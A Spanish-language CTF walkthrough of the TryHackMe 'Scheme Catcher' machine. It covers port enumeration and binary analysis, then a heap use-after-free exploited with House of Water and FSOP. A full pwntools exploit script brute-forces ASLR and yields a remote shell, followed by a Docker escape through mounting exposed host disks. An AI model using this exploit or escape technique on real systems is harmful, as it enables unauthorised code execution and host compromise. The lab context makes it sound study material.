XUT_ / MACHINES / THM

0105

Scheme Catcher

THMMACHINENONEINSANE
ASLRBrute ForceBuffer OverflowCommand ExecutionContainer EscapeDockerDocker EscapeEnumerationFile System Mount AbuseglibcHeap ExploitationHex EditingHouse of WaterLinuxNetworkPort ScanningPrivilege EscalationProtocol Reverse EngineeringRCEReverse EngineeringSource Code AnalysisUse-After-FreeWebWeb Enumeration

Introduction

Introduction


El Sistema de Control Silencioso del Bufón

Érase una vez, antes de que la risa de Hopper resonara por el manicomio HopSec, unos investigadores descubrieron rumores sobre un extraño servidor oculto en algún lugar de sus sistemas personales. Nadie lo ha visto realmente, nadie ha logrado acceder a él y todos los intentos de intrusión han fracasado. Los pocos indicios existentes apuntan a una versión rudimentaria e inestable de la antigua infraestructura de mando y control del Rey Malhare, reconstruida por Hopper para convertirla en algo retorcido e impredecible. Se dice que el lugar está repleto de carpetas extrañas, notas dispersas y varios archivos binarios sospechosos que parecen palpitar con ritmo propio. Hopper está obsesionado con construir, modificar y destruir cosas solo para volver a levantarlas, y asegura no cometer jamás un solo error. Para él, todo lo que crea es perfecto, aunque desde fuera parezca un caos.

Más extraño aún es el comportamiento del servidor cuando alguien se acerca. Las conexiones se interrumpen sin motivo aparente. Las tareas aparecen, desaparecen y vuelven a surgir en otro lugar. Los registros se reescriben solos. Algunos scripts responden a los comandos con mensajes que denotan una inquietante consciencia propia. Hopper llama a este lugar su obra maestra. Dice que está vivo. Dice que solo le obedece a él.

Se desconoce si planeaba un sabotaje, una rebelión o algo mucho más insólito, ya que ningún analista ha logrado examinar su interior. Lo único seguro es que Hopper custodia este secreto con una sonrisa frenética y una mente que se aleja cada día más de la realidad. La pregunta ahora es: ¿podrás demostrar que se equivoca o te perderás en su locura?

Getting the Flags

Reconocimiento Inicial

Comenzamos escaneando puertos abiertos.

Getting the Flags

Ahora vamos a analizar dichos puertos más en profundidad.

Getting the Flags

Vamos a ver qué directorios puede haber en la web.

Getting the Flags

Vamos a ver qué hay en la web.


Profundización

Vamos a mirar en el directorio que hemos encontrado.

Getting the Flags

Vamos a ver qué pasa si nos conectamos al puerto 9004:

Getting the Flags

Lo único que podemos deducir de momento es que E es para salir (Exit). Vamos a ver qué hay en el ZIP.

Getting the Flags

Binary Analysis - 1

Vamos a ver qué podemos encontrar en el binario.

Getting the Flags

En él podemos encontrar la primera flag. Vamos a seguir investigando.

Getting the Flags

Parece que EastMass puede ser la clave de acceso. Ahora lo ejecutamos.

Getting the Flags

Efectivamente, vamos a intentar conectarnos a dicho puerto.

Getting the Flags

Y lo recibe.

Getting the Flags

Ahora tenemos que encontrar comandos válidos. Recordamos el menú. Vamos a probarlo con:

bash
echo "4" | nc -q 2 localhost 4444

Getting the Flags

Vamos a investigar el resto de comandos. El flujo obvio parece primero cargar el payload (2) y luego ejecutar el comando (1). Después de intentarlo unas cuantas veces sin éxito y revisar las strings nos percatamos de esto:

Getting the Flags

Parece que manda una petición a localhost. Vamos a crear un payload arbitrario y a servirlo por el puerto 80.

Getting the Flags

CAUTION

Si no te deja abrirlo en el puerto 80, ejecuta el siguiente comando:

bash
sudo ss -lntp | grep 80

Mira a ver qué lo ocupa y haz:

bash
sudo systemctl stop [SERVICE]

Ahora mandamos el payload y lo ejecutamos.

Getting the Flags

En el programa recibimos lo siguiente:

Getting the Flags

Sin embargo, en el servidor que hemos abierto en el puerto 80:

Getting the Flags

Un directorio, vamos a ver qué hay en la web real en dicho directorio.

Getting the Flags

Vamos a leer el contenido de foothold.txt:

Getting the Flags

La segunda flag. Ahora vamos a descargar el ZIP y a ver qué contiene.

Getting the Flags

Vamos a analizar los archivos.

Binary Analysis - 2

En los dos primeros no hay nada relevante, son librerías. Sin embargo el segundo parece una especie de ataque de buffer overflow.

Getting the Flags

Vamos a profundizar, porque esto es lo que habíamos visto en el puerto 9004, por lo que nos interesa. Preguntándole a la IA por las letras en el contexto de buffer overflow, y con el output de strings, nos dice que:

  • [1] C: - Create / Allocate: Crea un espacio de memoria usando malloc.
  • [2] U: - Update / Edit: Modifica el contenido del espacio creado usando read.
  • [3] D: - Delete / Free: Libera el espacio de memoria usando free.
  • [4] E: - Exit: (Lo que ya sabíamos) Sale del programa.

Explotación

Buffer Overflow - House of Water

Vamos a examinar el comportamiento del programa a ver cómo responden los diferentes comandos.

Getting the Flags

Vamos a investigar comportamientos potencialmente peligrosos.

Getting the Flags

Parece que hay un UAF (Use-After-Free). Cuando creamos el chunk y lo eliminamos, podemos seguir editándolo posterior a su eliminación. Sin embargo parece que si tiene control de números enteros.

Getting the Flags

Además no permite el double free, no porque no sea vulnerable (porque sí que lo es, ya que nos ha dejado llamar a free() sobre un chunk ya liberado), sino porque las versiones modernas de glibc pueden detectarlo y mitigarlo.

Getting the Flags

Ahora intentamos romperlo utilizando el UAF.

Getting the Flags

Sin embargo no se rompe, puede deberse a mecanismos de seguridad que incorporan las últimas versiones de glibc. Vamos a usar una técnica llamada House of Water. Es una técnica de explotación de heap sin filtraciones.

CAUTION

Se recomienda leer el artículo enlazado, aunque en este writeup iremos directos al grano.

Para el exploit, podemos simplemente modificar el PoC compartido por el autor del artículo. Sin embargo hay una pega, el PoC incluye una funcionalidad para filtrar dos nibbles afectados por ASLR, que no tenemos, por lo que tenemos que modificar el script para bruteforcear estos bytes:

El Exploit

python
#!/usr/bin/env python3

from pwn import *
import io_file

context.update(arch="amd64", os="linux", log_level="error")
context.binary = elf = ELF("./server", checksec=False)
libc = ELF("./libc.so.6", checksec=False)

exit_addr = libc.sym['exit']
stdout_addr = libc.sym['_IO_2_1_stdout_']

for heap_brute in range(16):
	for libc_brute in range(16):
		try:
			print(f"Trying heap_brute={heap_brute:#x}, libc_brute={libc_brute:#x}")
		
			r = remote("[IP_MAQUINA_VICTIMA]", 9004)		

			idx = -1

			def create(size):
				global idx
				idx = idx+1
				r.sendlineafter(b'\n>>', b'1')
				r.sendlineafter(b'size: \n', str(size).encode())
				return idx

			def update(index, data, offset=0):
				r.sendlineafter(b'\n>>', b'2')
				r.sendlineafter(b'idx:\n', str(index).encode())
				r.sendlineafter(b'offset:\n', str(offset).encode())
				r.sendafter(b'data:\n', data)

			def delete(index):
				r.sendlineafter(b'\n>>', b'3')
				r.sendlineafter(b'idx:\n', str(index).encode())

			for _ in range(7):
				create(0x90-8) 

			middle = create(0x90-8)

			playground = create(0x20 + 0x30 + 0x500 + (0x90-8)*2)
			guard = create(0x18) 
			delete(playground)
			guard = create(0x18)

			corruptme = create(0x4c8)
			start_M = create(0x90-8)
			midguard = create(0x28) 
			end_M = create(0x90-8)
			leftovers = create(0x28)
				
			update(playground,p64(0x651),0x18)
			delete(corruptme)

			offset = create(0x4c8+0x10) 
			start = create(0x90-8)
			midguard = create(0x28)
			end = create(0x90-8)
			leftovers = create(0x18)

			create((0x10000+0x80)-0xda0-0x18)
			fake_data = create(0x18)
			update(fake_data,p64(0x10000)+p64(0x20)) 

			fake_size_lsb = create(0x3d8);
			fake_size_msb = create(0x3e8);
			delete(fake_size_lsb)
			delete(fake_size_msb)

			update(playground,p64(0x31),0x4e8)
			delete(start_M)
			update(start_M,p64(0x91),8)

			update(playground,p64(0x21),0x5a8)
			delete(end_M)
			update(end_M,p64(0x91),8)

			for i in range(7):
				delete(i)

			delete(end)
			delete(middle)
			delete(start)

			heap_target = (heap_brute << 12) + 0x80
			update(start,p16(heap_target))
			update(end,p16(heap_target),8)
			exit_lsb = (libc_brute << 12) + (exit_addr & 0xfff) 
			stdout_offset = stdout_addr - exit_addr
			stdout_lsb = (exit_lsb + stdout_offset) & 0xffff
			print(f"{heap_target=:#x}, {stdout_lsb=:#x}")

			win = create(0x888) 
			
			update(win,p16(stdout_lsb),8) 
			stdout = create(0x28)
			update(stdout,p64(0xfbad3887)+p64(0)*3+p8(0))
			
			libc_leak = u64(r.recv(8))
			libc.address = libc_leak - (stdout_addr+132)
			print(f"possible libc leak = {libc.address:#x}")
			
			file = io_file.IO_FILE_plus_struct() 
			payload = file.house_of_apple2_execmd_when_do_IO_operation(
				libc.sym['_IO_2_1_stdout_'],
				libc.sym['_IO_wfile_jumps'],
				libc.sym['system'])
			update(win,p64(libc.sym['_IO_2_1_stdout_']),8*60)
			full_stdout = create(0x3e0-8)
			update(full_stdout,payload)

			r.interactive("$ ")
			exit()

		except Exception as e:
			print(e)
			continue

Para que la porción RCE del exploit funcione, también necesitamos el archivo io_file.py del mismo repositorio.

Ahora, con todo en su sitio, podemos ejecutar el exploit para ver que conseguimos acceso a la máquina y podemos leer user.txt.

Getting the Flags

[...]

Getting the Flags

Y ahora leemos la flag.

Getting the Flags

Es bastante raro que seamos root del tirón. Es probable que estemos en un contenedor de Docker. Vamos a investigar.

Getting the Flags


Escalada de Privilegios

Host File System Exposed

Vamos a investigar más. Después de un rato encontramos estas monturas:

Getting the Flags

Ahora vamos a ver los permisos de los archivos del directorio /dev:

Getting the Flags

Esto deja clara una vulnerabilidad, los bloques crudos del sistema host están expuestos directamente dentro del directorio /dev del contenedor. Para poder leer sus contenidos y obtener acceso a ellos, vamos a montarlos en el contenedor:

Getting the Flags

Creamos un directorio y montamos en el el disco principal. Al listar los archivos podemos ver el sistema real. Vamos a leer la flag.


Conclusión

Una máquina muy divertida, en la que hemos trabajado un montón de disciplinas y técnicas:

  • Enumeración
  • Análisis de Binarios
  • Buffer Overflow
  • Montaje de sistemas de ficheros

En resumen, una máquina que exigía saber un poco de todo. Siendo la parte más complicada sin lugar a dudas la de la explotación del Buffer Overflow mediante la técnica sin filtraciones House of Water.

SUCCESS

¡Hemos conseguido obtener todas las flags y pasarnos nuestra primera máquina "Insane"!